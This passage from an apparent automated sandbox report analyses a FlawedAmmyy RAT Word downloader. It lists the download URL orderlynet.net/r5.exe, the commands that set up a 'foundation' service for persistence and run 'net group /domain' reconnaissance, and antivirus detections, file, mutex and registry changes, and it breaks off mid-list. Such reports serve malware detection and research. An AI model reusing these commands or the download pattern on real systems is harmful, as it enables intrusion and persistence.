  761. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x96\\xe6\\x88q\\xc4\\xf8\\xa7f\\x80;\\x1c<\\x1a\\x90&\\xa50\\xcb\\xe7\n\\xba\\xa4\\xd4\\xe8\\xc1\\xba\\x9b9;qr\\xb8\\xabv\\xf9\\xcap\\xf95\\xba\\x8e\\x03\\xc7+v\\xc7\\xa8\\x92\\xd7\\xba\\x1b\\x16\\xed\r\\xd1\\x14\\xd0\\xaf\\xaa\\xe1g\\xbbj\\x1a\\xaa\\x1d\\xfe\\x81^d\\xa3*\\x95\\xa3p\\xdb\\x07p\\xcd\\x85\\xa63\\xe24 e\\x9cz\\x99\\x8b\\x08\\xc59l\\x9f\\x8d1\\x8e\\xfc\\xaf\\xa8\\xfb[\\x96\\x90\\xd6\\xc8\\x13\\xbd\\x82\\xb7km<e'\\xd0\\xf1!a9=2\\x87\\xba\\xdc~1\\x12z\\xc0u{\\xfco\\xe5e\\xac\\x86\\x80\\x9d*;\\xae\\xaa\\xeckj\\xbc\\x98\\xe6\\xb5 \\xa7\\x84\\x8c\\xca\\x07s\\xe6\\x11\\xd2#1\\xd69\\x8a@^t\\x08\\xdfe\\xdc{\\xa6\\xbar\\xdav\\xd2\\xf0w\\x9f\\x99\\xc4\\xdau\\xfb\\xf37\\xb9\\xd0\\x83\\x8bo\r!\\xf3\\xed\\xa5\\xca\\xaf\\xfa\\x83\\x87\\xb5\\x94~\\xfbg2\\xc9\\xc3\\xeb\\xb5\\xc7\\xbb*~\\xcb\\xc1\\xfa\\xeep\\xae)\n~\\x05\nd\\x8d\\xa9q\\xcflq\\xe3t\\x03jsk\\xbe\\x12\\xd0$+\\x11c"
  762. },
  763. {
  764. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe9+a\\x8fy\\x94\\x84\\xc0s\\xb0<\\xd5\\x88\\xc6\\x88nh\\xc2$\\xa2\\x1bi \\xcct\\xee/)\\x882\\x9e+ \\xdb\\xdep]\\x0f1\\x11#6\\x84{z\\xb9`r*\"j.\\xdbgxy\\x88;up^\\x92u\\xf7la\\xded\\x91\\xddl\\xb8w}\\xac\\xf4\\xca{\\xbd!\\xdcvt\\x80)|\\xc5\\xe8\\x001mn\\xfc0\\xc2w\\xaa\\xac\\xe5'2\\x8a\\x8f\\x99)u6g\\x1bw\\x88\\xab\\x0box\\xe2\\xe4\\xbf^\\xef\\xb0<\\x10\r\\xect\\xb0\\xb49a\\xf9\\xf8\\xb6-\\xcd\\x90\\xcf\\xaf&&\\xf1k\\xc0\\xf0j\\x04\\x96\\xe6\\xcf<\\xc6\\x90\\xa6m\\xb5\\xf2\\xe4_\\x8ft\\xa0\\x14\\xdf\\xfch(p\\x02\\xd8.\\x08\\xf1\\x86s\\x82\\x14\\x15\\xd6&f\\xc1\\xd8e\\xe4\\x1b/j\\xe6\\xc0i\\xefm\\xfe\\xb1v#\\xe9\\x90$v\\xb9\\x03,\\xa1\\x88\\xe2q\\x82f\\xed\\xdc\\x8fv\\xfeu\\xe5\\x02\\x8ad\\xa6\\x9d\\xe7\\x1c,\\xe5m]\\x85,\\x0c\\xb2\\xf3\\x01\\xc6n\\x10\\x0b\\x82cx\\x98\\x8a\\xa9\\xc5\\xe3\\xde\\x0c\\x08\\xa1_,"
  765. },
  766. {
  767. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  768. }
  769. ]
  770. },
  771. {
  772. "Description": "Likely Malicious Office Document DL/Write EXE to disk",
  773. "Details": [
  774. {
  775. "office_dl_write_exe": "winword.exe_InternetCrackUrlW_http://orderlynet.net/r5.exe"
  776. },
  777. {
  778. "office_dl_write_exe": "winword.exe_HttpOpenRequestW_/r5.exe"
  779. },
  780. {
  781. "office_dl_write_exe": "winword.exe_InternetReadFile"
  782. },
  783. {
  784. "office_dl_write_exe": "winword.exe_NtWriteFile_C:\\Users\\user\\AppData\\Local\\Temp\\yvqxaarmqo84.exe"
  785. }
  786. ]
  787. },
  788. {
  789. "Description": "Installs itself for autorun at Windows startup",
  790. "Details": [
  791. {
  792. "service name": "foundation"
  793. },
  794. {
  795. "service path": "C:\\ProgramData\\NuGets\\wsus.exe -service"
  796. }
  797. ]
  798. },
  799. {
  800. "Description": "File has been identified by 26 Antiviruses on VirusTotal as malicious",
  801. "Details": [
  802. {
  803. "K7AntiVirus": "Trojan ( 00536d111 )"
  804. },
  805. {
  806. "K7GW": "Trojan ( 00536d111 )"
  807. },
  808. {
  809. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  810. },
  811. {
  812. "F-Prot": "W97M/Downldr.gen"
  813. },
  814. {
  815. "Symantec": "W97M.Downloader"
  816. },
  817. {
  818. "TrendMicro-HouseCall": "Trojan.W97M.FLAWEDAMMYY.AA"
  819. },
  820. {
  821. "ClamAV": "Doc.Dropper.Agent-6997086-0"
  822. },
  823. {
  824. "Kaspersky": "HEUR:Trojan-Downloader.MSOffice.SLoad.gen"
  825. },
  826. {
  827. "ViRobot": "DOC.S.Agent.204288"
  828. },
  829. {
  830. "Tencent": "Heur.Macro.Generic.Gen.a"
  831. },
  832. {
  833. "Endgame": "malicious (high confidence)"
  834. },
  835. {
  836. "TrendMicro": "Trojan.W97M.FLAWEDAMMYY.AA"
  837. },
  838. {
  839. "McAfee-GW-Edition": "BehavesLike.Downloader.cl"
  840. },
  841. {
  842. "Sophos": "Troj/DocDl-UIX"
  843. },
  844. {
  845. "Ikarus": "Trojan-Downloader.O97M.Donoff"
  846. },
  847. {
  848. "Cyren": "W97M/Downldr.gen"
  849. },
  850. {
  851. "Microsoft": "TrojanDownloader:O97M/Donoff"
  852. },
  853. {
  854. "AegisLab": "Trojan.MSWord.Generic.4!c"
  855. },
  856. {
  857. "ZoneAlarm": "HEUR:Trojan-Downloader.MSOffice.SLoad.gen"
  858. },
  859. {
  860. "TACHYON": "Suspicious/W97M.Downloader.Gen"
  861. },
  862. {
  863. "AhnLab-V3": "W97M/Downloader"
  864. },
  865. {
  866. "ALYac": "Trojan.Downloader.DOC.Gen"
  867. },
  868. {
  869. "Zoner": "Probably W97Shell"
  870. },
  871. {
  872. "SentinelOne": "DFI - Malicious OLE"
  873. },
  874. {
  875. "Fortinet": "VBA/Agent.DPURBEP!tr.dldr"
  876. },
  877. {
  878. "Qihoo-360": "virus.office.qexvmc.1085"
  879. }
  880. ]
  881. },
  882. {
  883. "Description": "Drops a binary and executes it",
  884. "Details": [
  885. {
  886. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\yvqxaarmqo84.exe"
  887. }
  888. ]
  889. },
  890. {
  891. "Description": "Martian Subprocess Started By Office Process",
  892. "Details": [
  893. {
  894. "office_martian": "c:\\users\\user\\appdata\\local\\temp\\yvqxaarmqo84.exe"
  895. },
  896. {
  897. "office_martian": "c:\\windows\\syswow64\\net.exe"
  898. },
  899. {
  900. "office_martian": "c:\\windows\\syswow64\\net1.exe"
  901. },
  902. {
  903. "office_martian": "c:\\windows\\syswow64\\net.exe"
  904. },
  905. {
  906. "office_martian": "c:\\windows\\syswow64\\net1.exe"
  907. },
  908. {
  909. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  910. },
  911. {
  912. "office_martian": "c:\\windows\\syswow64\\net.exe"
  913. },
  914. {
  915. "office_martian": "c:\\windows\\syswow64\\net1.exe"
  916. },
  917. {
  918. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  919. },
  920. {
  921. "office_martian": "c:\\windows\\syswow64\\sc.exe"
  922. },
  923. {
  924. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  925. },
  926. {
  927. "office_martian": "c:\\windows\\syswow64\\net.exe"
  928. },
  929. {
  930. "office_martian": "c:\\windows\\syswow64\\net1.exe"
  931. },
  932. {
  933. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  934. },
  935. {
  936. "office_martian": "c:\\windows\\syswow64\\sc.exe"
  937. },
  938. {
  939. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  940. },
  941. {
  942. "office_martian": "c:\\windows\\syswow64\\sc.exe"
  943. },
  944. {
  945. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  946. },
  947. {
  948. "office_martian": "c:\\windows\\syswow64\\net.exe"
  949. },
  950. {
  951. "office_martian": "c:\\windows\\syswow64\\net1.exe"
  952. },
  953. {
  954. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  955. }
  956. ]
  957. },
  958. {
  959. "Description": "The office file has a macro.",
  960. "Details": [
  961. {
  962. "content": "The file appears to have no content."
  963. }
  964. ]
  965. },
  966. {
  967. "Description": "The office file created a suspicious child process.",
  968. "Details": [
  969. {
  970. "Processes": "WINWORD.EXE -> yvqxaarmqo84.exe -> net.exe"
  971. }
  972. ]
  973. },
  974. {
  975. "Description": "Created network traffic indicative of malicious activity",
  976. "Details": [
  977. {
  978. "signature": "ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile"
  979. },
  980. {
  981. "signature": "ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin"
  982. }
  983. ]
  984. }
  985. ]
  986.  
  987. [*] Started Service: [
  988. "osppsvc",
  989. "foundation"
  990. ]
  991.  
  992. [*] Executed Commands: [
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\yvqxaarmqo84.exe",
  994. "net group /domain",
  995. "\"C:\\Windows\\System32\\cmd.exe\" /C net.exe stop foundation",
  996. "cmd /C net.exe stop foundation",
  997. "\"C:\\Windows\\System32\\cmd.exe\" /C sc delete foundation",
  998. "cmd /C sc delete foundation",
  999. "\"C:\\Windows\\System32\\cmd.exe\" /C sc create foundation binPath= \"C:\\ProgramData\\NuGets\\wsus.exe -service\" type= own start= auto error= ignore",
  1000. "cmd /C sc create foundation binPath= \"C:\\ProgramData\\NuGets\\wsus.exe -service\" type= own start= auto error= ignore",
  1001. "\"C:\\Windows\\System32\\cmd.exe\" /C net.exe start foundation y",
  1002. "cmd /C net.exe start foundation y",
  1003. "C:\\Windows\\System32\\cmd.exe /c del C:\\Users\\user\\AppData\\Local\\Temp\\YVQXAA~1.EXE >> NUL",
  1004. "C:\\Windows\\system32\\net1 group /domain",
  1005. "net.exe stop foundation",
  1006. "C:\\Windows\\system32\\net1 stop foundation",
  1007. "sc delete foundation",
  1008. "sc create foundation binPath= \"C:\\ProgramData\\NuGets\\wsus.exe -service\" type= own start= auto error= ignore",
  1009. "net.exe start foundation y",
  1010. "C:\\Windows\\system32\\net1 start foundation y"
  1011. ]
  1012.  
  1013. [*] Mutexes: [
  1014. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  1015. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  1016. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  1017. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  1018. "CicLoadWinStaWinSta0",
  1019. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  1020. "Local\\!IETld!Mutex",
  1021. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  1022. "Local\\ZoneAttributeCacheCounterMutex",
  1023. "Local\\ZonesCacheCounterMutex",
  1024. "Local\\ZonesLockedCacheCounterMutex",
  1025. "DBWinMutex"
  1026. ]
  1027.  
  1028. [*] Modified Files: [
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_174f549a028372ce9e803d3e7894a754.doc",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF2C47B4B70EA70E89.TMP",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_174f549a028372ce9e803d3e7894a754.doc",
  1032. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{98668843-01B8-4A08-90DF-B060831F4634}.tmp",
  1033. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  1034. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{F6CF93A3-77B5-40B5-91DF-BCE0B1C77DB2}.tmp",
  1035. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  1036. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  1037. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  1038. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF78E.tmp",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF78F.tmp",
  1041. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S4VH3RFR\\r5[1].exe",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\yvqxaarmqo84.exe",
  1043. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\cab32D3.tmp",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3565.tmp",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3585.tmp",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3A39.tmp",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3A4B.tmp",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3A4A.tmp",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3BF2.tmp",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3BF3.tmp",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3C05.tmp",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3C04.tmp",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3C16.tmp",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3C03.tmp",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3C17.tmp",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3C27.tmp",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3D71.tmp",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3EBA.tmp",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4C97.tmp",
  1061. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4C86.tmp",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4E7C.tmp",
  1063. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\cab543A.tmp",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\cab56BB.tmp",
  1066. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5872.tmp",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5A28.tmp",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5A39.tmp",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5C0F.tmp",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5ECF.tmp",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5F6C.tmp",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab66DF.tmp",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab6D69.tmp",
  1075. "C:\\ProgramData\\NuGets\\template_41c318.TMPTMPZIP7",
  1076. "C:\\ProgramData\\NuGets\\wsus.exe",
  1077. "\\??\\PIPE\\wkssvc",
  1078. "\\??\\PIPE\\lsarpc",
  1079. "\\??\\NUL"
  1080. ]
  1081.  
  1082. [*] Deleted Files: [
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF78E.tmp",
  1084. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF78F.tmp",
  1085. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1086. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1087. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001105[[fn=Crop]].eftx",
  1088. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001105[[fn=Crop]].xml",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001105[[fn=Crop]].xml",
  1090. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033937[[fn=Vapor Trail]].eftx",
  1091. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033937[[fn=Vapor Trail]].xml",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033937[[fn=Vapor Trail]].xml",
  1093. "C:\\ProgramData\\Microsoft Help\\wsus.exe",
  1094. "C:\\ProgramData\\NuGets\\wsus.exe",
  1095. "C:\\ProgramData\\NuGets\\template_41c318.TMPTMPZIP7",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\yvqxaarmqo84.exe"
  1097. ]
  1098.  
  1099. [*] Modified Registry Keys: [
  1100. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\} #",
  1101. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1102. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1103. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1104. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1105. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1106. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1107. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1108. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1109. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1110. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1111. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1112. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1113. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1114. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1115. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1116. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1117. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1118. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1119. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\11C817A",
  1120. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\11C817A\\11C817A",
  1121. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1122. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1123. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1124. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1125. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1126. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1127. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1128. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1129. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1130. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1131. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1132. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1133. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1134. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1135. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1136. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1137. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1138. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1139. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1140. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1141. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1142. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1143. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1144. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1145. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1146. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1147. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1148. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1149. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1150. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1151. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1152. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1153. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1154. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1155. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1156. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1157. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1158. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1159. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1160. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
